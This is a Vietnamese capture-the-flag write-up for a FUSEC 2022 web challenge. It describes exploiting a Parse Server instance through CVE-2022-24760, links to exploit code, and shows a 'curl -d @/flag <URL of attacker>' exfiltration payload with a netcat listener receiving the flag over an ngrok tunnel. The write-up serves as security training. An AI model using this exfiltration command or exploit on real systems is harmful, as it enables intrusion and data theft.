# FUSEC Season 5 2022 Write-up
###### Author: [`antoinenguyen_09`](https://github.com/antoinenguyen-09)
## :memo: TLDR:
## :rocket: Web 2
> Đây là một bài cực kì, cực kì đơn giản, tới một thằng script kiddie cũng có thể làm được. Nhưng vì vừa ngu si vừa cố chấp nên trong suốt quá trình mình còn không thèm ngó ngàng gì bài này. Tới lúc cuối giờ mới tìm ra cách giải thì đã quá muộn! Mình khốn nạn quá, xin gửi lời chân thành xin lỗi người ra đề là anh Bùi Đức Anh Khoa vì sự ngu ngục này của thằng em này :(((((

### 1. Initial reconnaissance:

Trước khi đi test một số chức năng của web app này, hãy phân tích "hướng dẫn sử dụng" của nó trước đã:
```
Hi! We've prepared a small 3-steps page to assist you testing your local Parse server.
These first steps will help you run and test the Parse server locally and were referrenced by the migration guide provided by Parse Platform.
```
Có thể hiểu nôm na là cái web app sử dụng Parse server, chỉ dùng để test Parse server và tất cả những gì chúng ta cần tập trung khai thác là Parse server. Chắc thằng Parse server này mới có cái 1-day hay CVE nào đó hot đây hehe!
Nhưng trước khi google search xem nó là CVE hay 1-day nào thì phải xem nó hoạt động như nào đã. Như đã thấy ở hình trên khi mình bấm nút "POST" thì web sẽ trả về thông báo lỗi: `There was a failure: {"error":"unauthorized"}`. Lý do tại sao thì hãy đọc kĩ dòng này trong "hướng dẫn sử dụng":
```
We'll use an app id of "myAppId" to connect to Parse Server. Or, you can change it.
```
Để có thể kết nối và sử dụng Parse server ta cần một app id. Mà app id ta đang sử dụng là app id mặc định "myAppId":

Nhìn lại description của challenge thì tác giả cho `AppID: fusec`. Vậy thì chần chừ gì nữa mà không sử dụng nó thôi yaosu:

Sau khi chạy được POST request trên thì các nút khác đều có thể hoạt động:

Đọc xong hết 2 dòng cuối trong "hướng dẫn sử dụng":
```
We have an express server with Parse server running on top of it connected to a MongoDB.
The following steps will try to save some data on parse server and then fetch it back. Hey ho?
```
Kết hợp với quan sát hoạt động của các chức năng 1, 2, 3 thì tóm gọn lại luồng hoạt động của Parse server như sau:
- POSTED: gửi data đến Parse server để nó lưu vào database. Database mà Parse server sử dụng là MongoDB, và data sẽ được lưu dưới dạng các document trong MongoDB (cứ hiểu document trong MongoDB giống như record trong SQL vậy).
- FETCHED: đọc các document từ database của Parse server. Mỗi document này được đánh dấu bằng một `objectId`:

- TESTED: test một funtion nào đó mà mình không rõ để làm gì ở `./cloud/main.js`, function này dù thay đổi các tham số ở request như thế nào thì response vẫn sẽ trả về là `{"result":"Hi"}`. Cuối cùng là để in ra `Congrats! Our local Parse server is working. :)` xác nhận Parse server vẫn hoạt động bình thường.
Kéo xuống dưới nữa footer của trang web này thì ta có luôn [github của Parse server](https://github.com/parse-community/parse-server-example):

Ban đầu mình đã ngờ ngợ là cái challenge này clone 99,9% từ một cái repo nào đó trên github, hóa ra lại chính là cái repo này luôn =))

Nhưng kiểm tra các commit gần đây trên repo này thì không thấy một bản pacth CVE nào cả.

Hmmm, thôi thì google search vậy. Search với từ khóa `parse server 0-day` thì có bài viết này:

Đọc bài này thì mình biết được lỗ hổng này được gán tên là `CVE-2022-24760`. Tiếp tục search tiếp xem trên github có cái "máy cào bug" nào không thì ta có cái này:

Trong advisory này có luôn một [report đầy đủ về `CVE-2022-24760`](https://www.huntr.dev/bounties/ac24b343-e7da-4bc7-ab38-4f4f5cc9d099/), có Description, PoC và quan trọng nhất là exploit cho chúng ta xơi xD.
### 2. Exploit and get flag:
Vì cái challenge này chỉ cần sửa một chút [exploit code](https://drive.google.com/file/d/1th-k9vuck02UQHqBS2T1vpLMi9H0d156/view?usp=sharing) rồi chạy phát là ra flag luôn nên mình sẽ không sa đà đi vào phân tích `CVE-2022-24760`, thay vào đó sẽ có một bài phân tích riêng sau. Tóm lại bây giờ ta đã có một cái "máy cào CVE", tác giả lại còn bonus [video hướng dẫn sử dụng "máy cào CVE"](https://drive.google.com/file/d/1yeLc0ssYUZbCIz7cOdd-flQ9J0U-i2vh/view?usp=sharing). Theo như report và sau khi đọc hiểu code thì chúng ta chỉ càn sửa lại duy nhất 3 biến:
- `HOST`: sửa lại thành URL của challenge này.
- `APP_ID`: sửa lại thành `fusec`.
- `PAYLOAD`: được tác giả hint luôn flag nằm ở path `path`, nên mình sẽ chạy `curl -d @/flag <URL of attacker>` không chút ngại ngần. Đại loại payload này khi được thực thi sẽ nhét nội dung file `/flag` vào một POST request rồi gửi đến `<URL of attacker>` (đọc tại [đây](https://reqbin.com/req/c-dot4w5a2/curl-post-file)).

Ở trên thì mình sử dụng ngrok để tạo tunnel giữa localhost và internet, từ đó POST request đã nói ở trên sẽ đi qua tunnel này tới được localhost nơi mình đang listen bằng netcat:
```shell=
┌──(kali㉿IAW301)-[~]
└─$ nc -lvnp 5219
listening on [any] 5219 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 57390
POST / HTTP/1.1
Host: localhost:5219
User-Agent: curl/7.64.0
Content-Length: 39
Accept: */*
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 34.80.117.212
X-Forwarded-Host: 82a7-42-113-128-140.ap.ngrok.io
X-Forwarded-Proto: https
FUSec{a9e7e9db29400d46c82b5ef256b5854e}
```
Flag: `FUSec{a9e7e9db29400d46c82b5ef256b5854e}`
## :rocket: Web 3